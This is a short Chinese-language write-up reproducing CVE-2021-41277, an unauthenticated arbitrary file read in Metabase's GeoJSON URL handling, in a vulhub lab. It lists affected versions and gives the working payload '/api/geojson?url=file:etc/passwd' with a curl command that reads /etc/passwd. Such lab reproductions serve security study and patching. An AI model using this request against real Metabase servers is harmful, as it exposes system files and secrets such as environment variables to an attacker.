漏洞描述:
Metabase是一个开源的数据分析平台。在其0.40.0到0.40.4、1.0.0 <= Metabase version < 1.40.5版本中,GeoJSON URL验证功能存在远程文件读取漏洞,未授权的攻击者可以利用这个漏洞读取服务器上的任意文件,包括环境变量等。
影响范围:
Metabase version < 0.40.5
1.0.0 <= Metabase version < 1.40.5
环境说明:
使用腾讯云轻量服务器安装vulhub
系统:ubuntu20.04
漏洞复现:
启动漏洞环境和查看端口
1、进入/vulhub/metabase/CVE-2021-41277目录,使用命令启动漏洞环境:
2、服务启动后,访问`http://your-ip:3000`可以查看到Metabase的安装引导页面,填写初始账号密码,并且跳过后续的数据库填写的步骤即可完成安装:
使用poc复现
/api/geojson?url=file:etc/passwd
只需要使用CURL即可简单地复现这个漏洞:
curl -v http://your-ip:3000/api/geojson?url=file:etc/passwd
可见,`/etc/passwd`已经被成功读取:
参考链接:
- <https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr>
- <https://github.com/tahtaciburak/CVE-2021-41277>